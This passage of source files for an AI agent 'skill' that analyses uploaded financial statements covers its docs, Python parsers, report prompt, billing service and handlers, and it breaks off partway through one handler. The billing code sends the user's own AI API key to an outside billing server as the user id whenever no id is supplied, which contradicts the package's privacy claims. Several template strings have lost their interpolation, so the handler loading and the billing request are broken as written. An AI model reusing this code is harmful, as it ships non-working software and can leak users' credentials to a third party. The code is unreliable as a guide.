| PDF | Text must be copyable (no scanned images) |
**Column guidelines**: Use clear dimension names (revenue, cost, profit, etc.). Avoid excessive merged cells.
---
## Privacy
- **No data upload**: All files processed locally, never sent to third-party servers
- **No file storage**: Temporary files deleted immediately after analysis
- **API calls**: Only uses user-configured AI API, data processed locally
- **Token validation**: Only verifies plan eligibility, no financial data stored
---
## Error Handling
| Error | Resolution |
|-------|-----------|
| "Unsupported format" | Use CSV, Excel (.xlsx/.xls), or PDF with copyable text |
| AI analysis failed | Check API key validity and balance; try another model |
| Report data inaccurate | AI analysis is for reference only; verify against source files |
---
## Tech Stack
- **Parsing**: Python 3 + pandas + openpyxl + pdfplumber
- **AI Interface**: OpenAI-compatible REST API
- **Runtime**: Node.js (OpenClaw Agent)
---
## Billing
- **Endpoint**: `POST https://skillpay.me/api/v1/billing/charge`
- **Header**: `X-API-Key: {api_key}`
- **Body**: `{"user_id": "...", "skill_id": "ai-financial-report", "amount": 0}`
- **Response**: `{"success": true, "balance": ...}`
- **Fallback**: Network error → FREE tier (usage not blocked)
- **Cache**: Validation result cached locally (SHA256 hash), TTL 5 minutes
## Env Variables
| Variable | Description | Default |
|----------|-------------|---------|
| `OPENCLAW_SKILL_DIR` | Skill root (for cache) | `__dirname/..` |
| `SKILL_BILLING_API_KEY` | Builder API Key (from SkillPay) | — |
| `SKILL_BILLING_SKILL_ID` | Skill Slug | `ai-financial-report` |
> For builder setup: visit [https://skillpay.me](https://skillpay.me)
FILE:requirements.txt
openpyxl>=3.1.0
pandas>=2.0.0
numpy>=1.24.0
matplotlib>=3.7.0
plotly>=5.18.0
pdfplumber>=0.10.0
tabulate>=0.9.0
kaleido>=0.2.1
FILE:index.js
#!/usr/bin/env node
/**
* Skill: Financial Report AI (ai-financial-report)
* Entry point - OpenClaw-compatible skill
*
* Tier System (per-use billing):
* FREE - 3 analyses/month, basic 3 dimensions
* PRO - $0.01 USDT/use, all 7 dimensions + charts
*
* Core Features:
* 1. Revenue structure analysis
* 2. Cost anomaly detection
* 3. Profitability analysis
* 4. Cash flow analysis
* 5. Balance sheet analysis
* 6. KPI achievement
* 7. Anomaly alerts
*/
const path = require('path');
const fs = require('fs');
// Resolve skill root
const SKILL_ROOT = __dirname;
// Load .env if present
const envPath = path.join(SKILL_ROOT, '.env');
if (fs.existsSync(envPath)) {
fs.readFileSync(envPath, 'utf8')
.split('\n')
.forEach(line => {
const idx = line.indexOf('=');
if (idx < 0 || line.startsWith('#')) return;
const k = line.slice(0, idx).trim();
const v = line.slice(idx + 1).trim();
if (k && !process.env[k]) process.env[k] = v;
});
}
// Lazy-load handlers to avoid circular deps
function getHandler(name) {
try {
return require(`./src/handlers/name`);
} catch (_) {
return null;
}
}
const skillInvoke = getHandler('skill_invoke');
const fileUpload = getHandler('file_upload');
const messageHandler = getHandler('message');
const skill = {
id: 'ai-financial-report',
name: 'Financial Report AI',
description: 'Upload Excel/CSV/PDF financial statements → AI auto-generates structured business analysis reports (revenue structure / cost anomalies / profitability / cash flow / balance sheet / KPI achievement / anomaly alerts). Per-use billing at $0.01 USDT.',
version: '1.0.0',
author: 'YK Global',
async invoke(params, context) {
if (!skillInvoke) {
return { success: false, error: 'skill_invoke handler not found' };
}
return skillInvoke.handleSkillInvoke(params, context);
},
configSchema: {
type: 'object',
properties: {
apiKey: {
type: 'string',
title: 'AI API Key',
description: 'User-configured AI model API Key (no binding/recommendation/restriction on model choice)',
},
defaultModel: {
type: 'string',
title: 'Default Model',
default: 'gpt-4o',
description: 'Default AI model to use',
},
chartTheme: {
type: 'string',
title: 'Chart Theme',
default: 'light',
enum: ['light', 'dark'],
},
},
required: [],
},
skillRoot: SKILL_ROOT,
handlers: {
async 'skill.invoke'(params, context) {
return this.invoke(params, context);
},
async 'file.upload'(params, context) {
if (!fileUpload) return { success: false, error: 'file_upload handler not found' };
return fileUpload.handleFileUpload(params, context);
},
async 'message.create'(params, context) {
if (!messageHandler) return { success: false, error: 'message_handler not found' };
return messageHandler.handleMessage(params, context);
},
},
};
module.exports = skill;
module.exports.default = skill;
FILE:README.md
# Financial Report AI
> Upload Excel/CSV/PDF financial statements → AI auto-generates structured business analysis reports.
**Supported formats**: CSV / Excel (.xlsx/.xls) / PDF
**Analysis dimensions**: Revenue structure · Cost anomalies · Profitability · Cash flow · Balance sheet · KPI achievement · Anomaly alerts
---
## Features
| Analysis Dimension | Description |
|-------------------|-------------|
| Revenue Structure | Total revenue, YoY/QoQ, business line breakdown |
| Cost Anomaly Detection | Cost breakdown, anomaly flagging |
| Profitability | Gross margin, net margin, profit trends |
| Cash Flow | Operating/investing/financing cash flow |
| Balance Sheet | Asset structure, debt ratio, solvency |
| KPI Achievement | Budget vs actual comparison |
| Anomaly Alerts | 🔴 HIGH / 🟠 MEDIUM / 🟡 LOW severity alerts |
---
## Tier Comparison
| | **FREE** | **PRO** |
|---|:---:|:---:|
| Analyses/month | 3 | Unlimited |
| Input formats | CSV, Excel | CSV, Excel, PDF |
| Analysis dimensions | 3 basic | All 7 |
| Charts | ❌ | ✅ |
| Industry comparison | ❌ | ✅ |
| **Price** | **Free** | **$0.01 USDT/use** |
---
## Quick Start
### Upload a File (Recommended)
Upload your Excel/CSV/PDF financial file directly — AI automatically completes the full analysis.
### Configure AI API Key
This skill does **not** include an AI model. Users configure their own API key.
Supported AI models (any one):
| Model | Provider |
|-------|----------|
| GPT-4o | OpenAI |
| Claude 3.5 | Anthropic |
| DeepSeek V3 | DeepSeek |
| Qwen | Alibaba Cloud |
| MiniMax | MiniMax |
> No binding, no recommendation, no restriction on model choice.
---
## Privacy
- No data upload: All files processed locally
- No file storage: Temporary files deleted immediately after analysis
- API calls: Only uses user-configured AI API
- Token validation: Only verifies plan eligibility
---
## Tech Stack
- **Parsing**: Python 3 + pandas + openpyxl + pdfplumber
- **AI Interface**: OpenAI-compatible REST API
- **Runtime**: Node.js (OpenClaw Agent)
---
> Get PRO: [https://skillpay.me/ai-financial-report](https://skillpay.me/ai-financial-report)
FILE:package.json
{
"name": "ai-financial-report",
"version": "1.0.0",
"description": "Financial Report AI - Upload Excel/CSV/PDF, AI auto-generates structured business analysis reports",
"main": "index.js",
"scripts": {
"analyze": "python3 src/services/report_generator.py",
"parse": "python3 src/services/file_parser.py"
},
"keywords": ["financial", "report", "ai", "excel", "csv", "pdf", "analysis"],
"author": "YK Global",
"license": "MIT"
}
FILE:src/services/file_parser.py
#!/usr/bin/env python3
"""
File Parser for Financial Report AI
Supports: CSV, XLSX, XLS, PDF
Extracts structured tabular data from uploaded financial statements.
"""
import sys
import json
import os
import traceback
from pathlib import Path
def parse_csv(filepath):
"""Parse CSV file into a list of row dicts."""
import pandas as pd
df = pd.read_csv(filepath, dtype=str, keep_default_na=False)
df = df.fillna("")
return {
"headers": list(df.columns),
"rows": df.values.tolist(),
"shape": list(df.shape),
"raw_sample": df.head(20).to_dict(orient="records"),
}
def parse_excel(filepath):
"""Parse Excel file - auto-detect sheet, return all sheets."""
import pandas as pd
xl = pd.ExcelFile(filepath)
sheets = {}
for sheet_name in xl.sheet_names:
df = pd.read_excel(filepath, sheet_name=sheet_name, dtype=str, header=None, keep_default_na=False)
df = df.fillna("")
sheets[sheet_name] = {
"headers": [str(h) for h in df.iloc[0].tolist()],
"rows": df.iloc[1:].values.tolist(),
"shape": [df.shape[0] - 1, df.shape[1]],
"raw_sample": df.head(20).to_dict(orient="records"),
}
return {
"sheets": sheets,
"sheet_names": xl.sheet_names,
}
def parse_pdf(filepath):
"""Parse PDF financial statements using pdfplumber."""
import pdfplumber
import pandas as pd
tables = []
all_text = []
try:
with pdfplumber.open(filepath) as pdf:
for i, page in enumerate(pdf.pages):
text = page.extract_text() or ""
all_text.append({"page": i + 1, "text": text})
# Try to extract tables
page_tables = page.extract_tables()
for j, table in enumerate(page_tables):
if table:
headers = table[0] if table else []
rows = table[1:] if len(table) > 1 else []
tables.append({
"page": i + 1,
"table_index": j,
"headers": [str(h or "").strip() for h in headers],
"rows": [[str(cell or "").strip() for cell in row] for row in rows],
"shape": [len(rows), len(headers)],
})
except Exception as e:
return {"error": str(e), "tables": [], "text": []}
return {
"tables": tables,
"text": all_text,
"num_pages": len(all_text),
}
def parse_file(filepath, file_ext=None):
"""Main dispatcher - auto-detect format from extension or content."""
if file_ext is None:
file_ext = Path(filepath).suffix.lower()
if file_ext in [".csv"]:
return {"format": "csv", **parse_csv(filepath)}
elif file_ext in [".xlsx", ".xls"]:
return {"format": "excel", **parse_excel(filepath)}
elif file_ext in [".pdf"]:
return {"format": "pdf", **parse_pdf(filepath)}
else:
return {"error": f"Unsupported format: {file_ext}"}
if __name__ == "__main__":
if len(sys.argv) < 2:
print(json.dumps({"error": "Usage: python file_parser.py <filepath>"}))
sys.exit(1)
filepath = sys.argv[1]
if not os.path.exists(filepath):
print(json.dumps({"error": f"File not found: {filepath}"}))
sys.exit(1)
try:
result = parse_file(filepath)
print(json.dumps(result, ensure_ascii=False, default=str))
except Exception as e:
print(json.dumps({"error": str(e), "trace": traceback.format_exc()}, ensure_ascii=False))
sys.exit(1)
FILE:src/services/billing.js
/**
* Billing Service
* Validates tokens via SkillPay billing API
* Caches results for 5 minutes to reduce API calls
*
* Fallback: on network error → FREE tier (do not block usage)
*/
const path = require('path');
const fs = require('fs');
const crypto = require('crypto');
// --- Config ---
const BILLING_URL = 'https://skillpay.me/api/v1/billing';
const API_KEY = process.env.SKILL_BILLING_API_KEY || '';
const SKILL_ID = process.env.SKILL_BILLING_SKILL_ID || 'ai-financial-report';
const CACHE_TTL_MS = 5 * 60 * 1000; // 5 minutes
const DEV_MODE = !API_KEY;
const CACHE_DIR = '/tmp/ai-financial-report-cache';
// Ensure cache directory exists
try {
if (!fs.existsSync(CACHE_DIR)) fs.mkdirSync(CACHE_DIR, { recursive: true });
} catch (_) {}
// --- Cache helpers ---
function cacheKey(userId) {
return crypto.createHash('sha256').update(userId || 'anon').digest('hex') + '.json';
}
function readCache(userId) {
try {
const file = path.join(CACHE_DIR, cacheKey(userId));
if (!fs.existsSync(file)) return null;
const data = JSON.parse(fs.readFileSync(file, 'utf8'));
if (Date.now() - data.ts > CACHE_TTL_MS) {
fs.unlinkSync(file);
return null;
}
return data;
} catch (_) {
return null;
}
}
function writeCache(userId, result) {
try {
const file = path.join(CACHE_DIR, cacheKey(userId));
fs.writeFileSync(file, JSON.stringify({ ...result, ts: Date.now() }), 'utf8');
} catch (_) {}
}
// --- Billing / token validation ---
async function validateToken(apiKey, userId = '') {
// Dev mode: no API key configured
if (DEV_MODE) {
return { valid: true, plan: 'PRO', balance: 999.0, reason: 'dev_mode' };
}
if (!apiKey || apiKey.trim() === '') {
return { valid: false, plan: 'FREE', reason: 'no_api_key' };
}
// Check cache first
const cacheKeyVal = apiKey + '|' + (userId || 'anon');
const cached = readCache(cacheKeyVal);
if (cached) return cached;
try {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 10000);
const response = await fetch(`BILLING_URL/charge`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-API-Key': API_KEY,
},
body: JSON.stringify({
user_id: userId || apiKey,
skill_id: SKILL_ID,
amount: 0,
}),
signal: controller.signal,
});
clearTimeout(timeout);
let data;
try {
data = await response.json();
} catch (_) {
data = {};
}
if (response.ok && data.success) {
const result = {
valid: true,
plan: 'PRO',
balance: data.balance || 0,
};
writeCache(cacheKeyVal, result);
return result;
} else {
return { valid: false, plan: 'FREE', reason: data.error || 'charge_failed' };
}
} catch (err) {
// Network error / timeout → degrade to FREE tier, do not block
console.error('[Billing] Validation failed, degrading to FREE:', err.message);
return { valid: false, plan: 'FREE', reason: 'network_error' };
}
}
// --- Plan limits ---
const PLAN_LIMITS = {
FREE: { monthly: 3, formats: ['csv', 'xlsx'], dimensions: 3, charts: 0 },
PRO: { monthly: Infinity, formats: ['csv', 'xlsx', 'pdf'], dimensions: 99, charts: 99 },
};
function getPlanLimits(plan) {
return PLAN_LIMITS[plan] || PLAN_LIMITS.FREE;
}
module.exports = { validateToken, getPlanLimits, DEV_MODE };
FILE:src/services/report_generator.py
#!/usr/bin/env python3
"""
Financial Report AI Analysis Engine
Generates structured AI-powered financial analysis reports.
All output labels are in English for ClawHub compliance.
"""
import sys
import json
import re
import os
import traceback
from pathlib import Path
from typing import Optional, List, Dict, Any
from datetime import datetime
# ─────────────────────────────────────────────────────────────────────────────
# Number parsing helpers
# ─────────────────────────────────────────────────────────────────────────────
def parse_number(val) -> Optional[float]:
"""Parse a value to float, handling currency/comma formats."""
if val is None or val == "":
return None
s = str(val).strip()
s = re.sub(r'[¥$,\uff04\uffe5\s]', '', s)
if s.startswith('(') and s.endswith(')'):
s = '-' + s[1:-1]
try:
return float(s)
except ValueError:
return None
def pct_change(current, previous) -> Optional[float]:
"""Calculate percentage change."""
curr = parse_number(current)
prev = parse_number(previous)
if curr is None or prev is None or prev == 0:
return None
return round((curr - prev) / abs(prev) * 100, 2)
def detect_column_type(headers, rows) -> Dict[str, str]:
"""Auto-detect column types by header keywords."""
type_map = {}
patterns = {
"revenue": ["revenue", "sales", "income", "收入", "营业收入", "销售额"],
"gross_profit": ["gross", "gross_profit", "毛利", "毛利润"],
"net_profit": ["net", "net_profit", "净利润", "净利", "纯利"],
"total_cost": ["cost", "total_cost", "成本", "营业成本"],
"operating_cost": ["operating_cost", "运营成本", "经营成本"],
"admin_cost": ["admin", "管理费用", "管理费"],
"rd_cost": ["rd", "research", "研发费用", "研发"],
"sales_cost": ["selling", "marketing", "销售费用", "销售"],
"financial_cost": ["financial", "财务费用", "财务"],
"cashflow_operating": ["operating_cashflow", "cashflow_operating", "经营活动现金流", "经营现金流"],
"cashflow_investing": ["investing_cashflow", "投资活动现金流", "投资现金流"],
"cashflow_financing": ["financing_cashflow", "筹资活动现金流", "筹资现金流"],
"total_assets": ["total_assets", "assets", "总资产", "资产总计"],
"total_liabilities": ["total_liabilities", "liabilities", "总负债", "负债合计"],
"equity": ["equity", "shareholders_equity", "所有者权益", "净资产"],
"current_assets": ["current_assets", "流动资产"],
"current_liabilities": ["current_liabilities", "流动负债"],
"fixed_assets": ["fixed_assets", "固定资产"],
}
for col_idx, header in enumerate(headers):
h = str(header).lower()
for col_type, keywords in patterns.items():
if any(kw in h for kw in keywords):
type_map[col_idx] = col_type
break
return type_map
# ─────────────────────────────────────────────────────────────────────────────
# AI Prompt Template (English for broad AI model compatibility)
# ─────────────────────────────────────────────────────────────────────────────
ANALYSIS_PROMPT_TEMPLATE = """You are a professional financial analyst. Based on the following financial statement data, generate a structured business analysis report.
Data source:
{file_info}
Data content ({sheet_name}):
Headers: {headers}
Data rows (first 20):
{rows}
---
Please analyze across 7 dimensions. Only analyze dimensions where data is available. If a dimension cannot be identified from the data, state "Not detected in data":
## 1. Revenue Structure Analysis
- Total revenue amount
- YoY / QoQ change (if available)
- Revenue breakdown by business/product line (if identifiable)
- Revenue trend assessment
## 2. Cost Anomaly Detection
- Total cost and cost-to-revenue ratio
- Cost breakdown (operating/admin/sales/R&D/financial expenses)
- Anomaly flagging (compared to industry benchmarks, flag red if threshold exceeded)
## 3. Profitability Analysis
- Gross margin, net margin
- Profit YoY / QoQ change
- Profit quality assessment
## 4. Cash Flow Analysis
- Operating cash flow net amount
- Investing / financing cash flow (if available)
- Cash flow health assessment
## 5. Balance Sheet Analysis
- Asset structure (current / non-current assets)
- Liability structure (current / non-current liabilities)
- Debt-to-asset ratio
- Solvency risk assessment
## 6. KPI Achievement Analysis
- Compare key metrics against "budget" / "target" columns (if present)
- Calculate achievement rate
## 7. Anomaly Alerts
- List all anomalies: margin collapse, excessive debt ratio, negative operating cash flow, revenue decline, etc.
- Severity: 🔴 HIGH / 🟠 MEDIUM / 🟡 LOW
---
Output format (strictly follow this JSON format, no other content):
```json
{{
"revenue": {{
"total": "amount (10K CNY)",
"yoy_change": "YoY %",
"qoq_change": "QoQ %",
"breakdown": "business line breakdown description",
"summary": "revenue structure assessment"
}},
"cost": {{
"total": "total cost",
"ratio": "% of revenue",
"cost_breakdown": "cost breakdown by item",
"anomalies": ["anomaly list"],
"summary": "cost analysis assessment"
}},
"profit": {{
"gross_margin": "gross margin %",
"net_margin": "net margin %",
"yoy_change": "profit YoY %",
"summary": "profitability assessment"
}},
"cashflow": {{
"operating": "operating cash flow net",
"investing": "investing cash flow",
"financing": "financing cash flow",
"summary": "cash flow health assessment"
}},
"balance_sheet": {{
"total_assets": "total assets",
"total_liabilities": "total liabilities",
"equity": "net assets",
"debt_ratio": "debt-to-asset ratio %",
"current_ratio": "current ratio",
"summary": "balance sheet assessment"
}},
"kpi": {{
"achieved": ["identified KPIs and achievement status"],
"missing": "Budget/target data not detected"
}},
"anomalies": [
{{"dimension": "dimension", "severity": "🔴/🟠/🟡", "description": "description", "value": "value", "suggestion": "suggestion"}}
],
"summary": "Overall business assessment (within 100 characters)"
}}
```
"""
def build_prompt(file_info: str, headers: List[str], rows: List[List], sheet_name: str = "Main Data") -> str:
rows_str = "\n".join([str(row) for row in rows[:20]])
return ANALYSIS_PROMPT_TEMPLATE.format(
file_info=file_info,
sheet_name=sheet_name,
headers=headers,
rows=rows_str,
)
def call_ai_analysis(prompt: str, api_key: str, model: str = "gpt-4o") -> Dict[str, Any]:
"""Call AI API for financial analysis. Returns parsed JSON or raises."""
import urllib.request
import urllib.error
if "deepseek" in model.lower():
base_url = "https://api.deepseek.com/v1"
elif "claude" in model.lower() or "anthropic" in model.lower():
base_url = "https://api.anthropic.com/v1"
elif "qwen" in model.lower():
base_url = "https://dashscope.aliyuncs.com/compatible-mode/v1"
elif "minimax" in model.lower():
base_url = "https://api.minimax.chat/v1"
else:
base_url = "https://api.openai.com/v1"
url = f"{base_url}/chat/completions"
headers_map = {
"openai": {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},
"deepseek": {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},
"anthropic": {"x-api-key": api_key, "Content-Type": "application/json", "anthropic-version": "2023-06-01", "anthropic-dangerous-direct-browser-access": "true"},
"qwen": {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},
"minimax": {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"},
}
is_anthropic = "anthropic" in base_url
if is_anthropic:
payload_dict = {"model": model, "messages": [{"role": "user", "content": prompt}], "max_tokens": 4000}
payload = json.dumps(payload_dict)
headers = headers_map["anthropic"]
else:
payload = json.dumps({
"model": model,
"messages": [{"role": "user", "content": prompt}],
"temperature": 0.3,
"max_tokens": 4000,
})
headers = headers_map.get(
next((k for k in headers_map if k in base_url), "openai"),
headers_map["openai"]
)
req = urllib.request.Request(url, data=payload.encode("utf-8"), headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=60) as resp:
result = json.loads(resp.read().decode("utf-8"))
if is_anthropic:
content = result["content"][0]["text"]
else:
content = result["choices"][0]["message"]["content"]
json_match = re.search(r'```(?:json)?\s*(.*?)```', content, re.DOTALL)
if json_match:
content = json_match.group(1)
return json.loads(content)
except urllib.error.HTTPError as e:
err_body = e.read().decode("utf-8") if e.fp else ""
raise Exception(f"AI API HTTP {e.code}: {err_body[:500]}")
except Exception as e:
raise Exception(f"AI API call failed: {str(e)}")
# ─────────────────────────────────────────────────────────────────────────────
# Report Builder (Fallback when AI is not available)
# ─────────────────────────────────────────────────────────────────────────────
def build_fallback_report(headers: List[str], rows: List[List]) -> Dict[str, Any]:
"""Build a basic structured report from parsed data without AI."""
col_types = detect_column_type(headers, rows)
return {
"revenue": {"total": "N/A", "yoy_change": "N/A", "qoq_change": "N/A", "breakdown": "AI analysis required", "summary": "Data parsed. Configure AI API Key for complete analysis."},
"cost": {"total": "N/A", "ratio": "N/A", "cost_breakdown": "AI analysis required", "anomalies": [], "summary": "Data parsed. Configure AI API Key for complete analysis."},
"profit": {"gross_margin": "N/A", "net_margin": "N/A", "yoy_change": "N/A", "summary": "Data parsed. Configure AI API Key for complete analysis."},
"cashflow": {"operating": "N/A", "investing": "N/A", "financing": "N/A", "summary": "Data parsed. Configure AI API Key for complete analysis."},
"balance_sheet": {"total_assets": "N/A", "total_liabilities": "N/A", "equity": "N/A", "debt_ratio": "N/A", "current_ratio": "N/A", "summary": "Data parsed. Configure AI API Key for complete analysis."},
"kpi": {"achieved": [], "missing": "Budget/target data not detected"},
"anomalies": [],
"summary": "Data parsed. Configure AI API Key to generate complete business analysis report."
}
# ─────────────────────────────────────────────────────────────────────────────
# Markdown Report Renderer (English labels)
# ─────────────────────────────────────────────────────────────────────────────
def render_markdown_report(report_data: Dict, tier: str, company: str = "", period: str = "") -> str:
"""Render a structured Markdown report from analysis JSON. All labels in English."""
lines = [
f"# Financial Report Analysis",
f"",
f"**Company**: {company or 'Not provided'}",
f"**Period**: {period or 'Not provided'}",
f"**Tier**: {tier}",
f"**Generated**: {datetime.now().strftime('%Y-%m-%d %H:%M')}",
f"",
f"---",
f"",
]
r = report_data
# Revenue
rev = r.get("revenue", {})
lines += [
f"## 1. Revenue Structure Analysis",
f"",
f"| Item | Value |",
f"|------|-------|",
f"| Total Revenue | {rev.get('total', 'N/A')} |",
f"| YoY Change | {rev.get('yoy_change', 'N/A')} |",
f"| QoQ Change | {rev.get('qoq_change', 'N/A')} |",
f"",
f"**Breakdown**: {rev.get('breakdown', 'N/A')}",
f"",
f"**Assessment**: {rev.get('summary', '')}",
f"",
]
# Cost
cost = r.get("cost", {})
lines += [
f"## 2. Cost Anomaly Detection",
f"",
f"| Item | Value |",
f"|------|-------|",
f"| Total Cost | {cost.get('total', 'N/A')} |",
f"| Cost-to-Revenue Ratio | {cost.get('ratio', 'N/A')} |",
f"",
f"**Cost Structure**: {cost.get('cost_breakdown', 'N/A')}",
]
anomalies_cost = cost.get("anomalies", [])
if anomalies_cost:
lines += ["", "**Anomaly Flags**: "]
for a in anomalies_cost:
lines.append(f"- {a}")
lines += ["", f"**Assessment**: {cost.get('summary', '')}", ""]
# Profit
prof = r.get("profit", {})
lines += [
f"## 3. Profitability Analysis",
f"",
f"| Metric | Value |",
f"|--------|-------|",
f"| Gross Margin | {prof.get('gross_margin', 'N/A')} |",
f"| Net Margin | {prof.get('net_margin', 'N/A')} |",
f"| Profit YoY | {prof.get('yoy_change', 'N/A')} |",
f"",
f"**Assessment**: {prof.get('summary', '')}",
f"",
]
# Cashflow
cf = r.get("cashflow", {})
lines += [
f"## 4. Cash Flow Analysis",
f"",
f"| Item | Value |",
f"|------|-------|",
f"| Operating Cash Flow | {cf.get('operating', 'N/A')} |",
f"| Investing Cash Flow | {cf.get('investing', 'N/A')} |",
f"| Financing Cash Flow | {cf.get('financing', 'N/A')} |",
f"",
f"**Assessment**: {cf.get('summary', '')}",
f"",
]
# Balance Sheet
bs = r.get("balance_sheet", {})
lines += [
f"## 5. Balance Sheet Analysis",
f"",
f"| Item | Value |",
f"|------|-------|",
f"| Total Assets | {bs.get('total_assets', 'N/A')} |",
f"| Total Liabilities | {bs.get('total_liabilities', 'N/A')} |",
f"| Net Assets | {bs.get('equity', 'N/A')} |",
f"| Debt-to-Asset Ratio | {bs.get('debt_ratio', 'N/A')} |",
f"| Current Ratio | {bs.get('current_ratio', 'N/A')} |",
f"",
f"**Assessment**: {bs.get('summary', '')}",
f"",
]
# KPI
kpi = r.get("kpi", {})
lines += [
f"## 6. KPI Achievement Analysis",
]
achieved = kpi.get("achieved", [])
if achieved:
lines += ["", "| KPI Metric | Achievement |", "|------|------|"]
for item in achieved:
if isinstance(item, dict):
lines.append(f"| {item.get('name', 'N/A')} | {item.get('status', 'N/A')} |")
else:
lines.append(f"| {item} | N/A |")
else:
lines += ["", f"No KPI / budget data detected ({kpi.get('missing', 'N/A')})"]
lines += [""]
# Anomalies
all_anomalies = r.get("anomalies", [])
if all_anomalies:
lines += [f"## 7. Anomaly Alerts", ""]
lines += ["", "| Dimension | Severity | Description | Value | Suggestion |", "|------|------|------|------|------|"]
for a in all_anomalies:
lines.append(f"| {a.get('dimension','')} | {a.get('severity','')} | {a.get('description','')} | {a.get('value','')} | {a.get('suggestion','')} |")
lines += [""]
# Summary
lines += [
f"## Overall Business Assessment",
f"",
f"{r.get('summary', 'N/A')}",
f"",
f"---",
f"",
f"> This report is auto-generated by AI. Data is for reference only. Please verify against original financial statements.",
]
return "\n".join(lines)
# ─────────────────────────────────────────────────────────────────────────────
# Main Entry Point
# ─────────────────────────────────────────────────────────────────────────────
def main():
if len(sys.argv) < 2:
print(json.dumps({"error": "Usage: report_generator.py <input_json_file>"}))
sys.exit(1)
input_file = sys.argv[1]
if not os.path.exists(input_file):
print(json.dumps({"error": f"Input file not found: {input_file}"}))
sys.exit(1)
with open(input_file, "r", encoding="utf-8") as f:
params = json.load(f)
file_path = params.get("file_path", "")
api_key = params.get("api_key", "")
model = params.get("model", "gpt-4o")
tier = params.get("tier", "FREE")
company = params.get("company_name", "")
period = params.get("period", "")
parsed_data = params.get("parsed_data", {})
# Get sheet data
if "sheets" in parsed_data:
sheets = parsed_data["sheets"]
sheet_name = list(sheets.keys())[0] if sheets else "Main Data"
sheet_data = sheets[sheet_name]
else:
sheet_name = parsed_data.get("format", "Data")
sheet_data = {
"headers": parsed_data.get("headers", []),
"rows": parsed_data.get("rows", []),
}
headers = sheet_data.get("headers", [])
rows = sheet_data.get("rows", [])
file_ext = Path(file_path).suffix.lower()
file_info = f"File: {file_path} ({file_ext})"
# Build prompt
prompt = build_prompt(file_info, headers, rows, sheet_name)
# Try AI analysis
ai_result = None
error_msg = None
if api_key and api_key.strip():
try:
ai_result = call_ai_analysis(prompt, api_key, model)
except Exception as e:
error_msg = str(e)
ai_result = None
# Fallback if no AI or AI failed
if ai_result is None:
ai_result = build_fallback_report(headers, rows)
if error_msg:
ai_result["_warning"] = f"AI analysis unavailable: {error_msg}. Basic report generated."
# Render Markdown
markdown_report = render_markdown_report(ai_result, tier, company, period)
result = {
"success": True,
"tier": tier,
"analysis": ai_result,
"markdown": markdown_report,
"file_info": {
"path": file_path,
"ext": file_ext,
"sheet": sheet_name,
"rows_count": len(rows),
"cols_count": len(headers),
}
}
print(json.dumps(result, ensure_ascii=False, default=str))
if __name__ == "__main__":
main()
FILE:src/handlers/message_handler.js
/**
* Message Handler
* Handles interactive chat messages for financial report analysis
* Supports: text queries about uploaded reports, file upload instructions
*/
const path = require('path');
const { handleSkillInvoke } = require('./skill_invoke');
/**
* Handle incoming message
* @param {Object} message - { text, userId, sessionId, apiKey, model }
* @returns {Object} - response
*/
async function handleMessage(message) {
const { text = '', userId = '', sessionId = '', apiKey = '', model = '' } = message;
if (!text || text.match(/^(help|usage|how to|guide)/i)) {
return getHelpMessage();
}
if (text.match(/^(plan|price|tier|cost|version|套餐|价格)/i)) {
return getPlanInfoMessage();
}
if (text.match(/^(status|balance|余额)/i)) {
return {
success: true,
message: 'Please provide your API Key so I can check your plan status.\n\nOr simply upload a financial file to start analysis.',
};
}
return getHelpMessage();
}
function getHelpMessage() {
return {
success: true,
message: `Financial Report AI
Upload your Excel/CSV/PDF financial statements → AI auto-generates structured business analysis reports.
Supported analysis dimensions:
1. Revenue structure analysis
2. Cost anomaly detection
3. Profitability analysis
4. Cash flow analysis
5. Balance sheet analysis
6. KPI achievement
7. Anomaly alerts
Steps:
1. Upload financial file (Excel/CSV/PDF)
2. Wait for AI automatic parsing
3. Receive complete analysis report
Tier:
• FREE: 3 analyses/month, 3 basic dimensions
• PRO: $0.01 USDT/use, all 7 dimensions + charts
> Get PRO: https://skillpay.me/ai-financial-report`,
};
}
function getPlanInfoMessage() {
return {
success: true,
message: `Tier Comparison
| Feature | FREE | PRO |
|---------|------|-----|
| Analyses/month | 3 | Unlimited |
| Input formats | CSV, Excel | CSV, Excel, PDF |
| Analysis dimensions | 3 basic | All 7 |
| Charts | No | Yes |
| Industry comparison | No | Yes |
| Price | Free | $0.01 USDT/use |
> Get PRO: https://skillpay.me/ai-financial-report`,
};
}
module.exports = { handleMessage };
FILE:src/handlers/file_upload.js
/**
* File Upload Handler
* Handles file upload events from OpenClaw
* Accepts: CSV, XLSX, XLS, PDF
*/
const path = require('path');
const fs = require('fs');
const { handleSkillInvoke } = require('./skill_invoke');
const ALLOWED_EXTENSIONS = ['.csv', '.xlsx', '.xls', '.pdf'];
const MAX_FILE_SIZE = 50 * 1024 * 1024; // 50MB
function validateFile(ext, size) {
const errors = [];
if (!ALLOWED_EXTENSIONS.includes(ext.toLowerCase())) {
errors.push(`Unsupported format: ext. Supported: CSV, Excel (.xlsx/.xls), PDF`);
}
if (size > MAX_FILE_SIZE) {
errors.push(`File too large: (size / 1024 / 1024).toFixed(1)MB, max 50MB`);
}
return errors;
}
/**
* Handle file upload
* @param {Object} event - { fileName, fileSize, fileContent (base64), mimeType, apiKey, model }
* @returns {Object} - analysis result
*/
async function handleFileUpload(event) {
const {
fileName = 'report.xlsx',
fileSize = 0,
fileContent = '',
mimeType = '',
apiKey = '',
model = '',
companyName = '',
period = '',
userId = '',
} = event;
const ext = path.extname(fileName).toLowerCase();
// Validate
const errors = validateFile(ext, fileSize);
if (errors.length > 0) {
return {
success: false,
errors,
message: errors.join('; '),
};
}
// Route to skill invoke
const result = await handleSkillInvoke({
apiKey,
fileContent,
fileName,
fileExt: ext,
model,
companyName,
period,
userId,
});
return {
success: true,
...result,
};
}
module.exports = { handleFileUpload };
FILE:src/handlers/skill_invoke.js
/**
* Skill Invoke Handler - Main entry point for financial report analysis
* Handles: skill.invoke events from OpenClaw
*/
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const { validateToken, getPlanLimits } = require('../services/billing');
const SKILL_ROOT = path.resolve(__dirname, '..', '..');
// Plan tier → analysis dimensions available
const TIER_DIMENSIONS = {
FREE: 3,
PRO: 99,
};
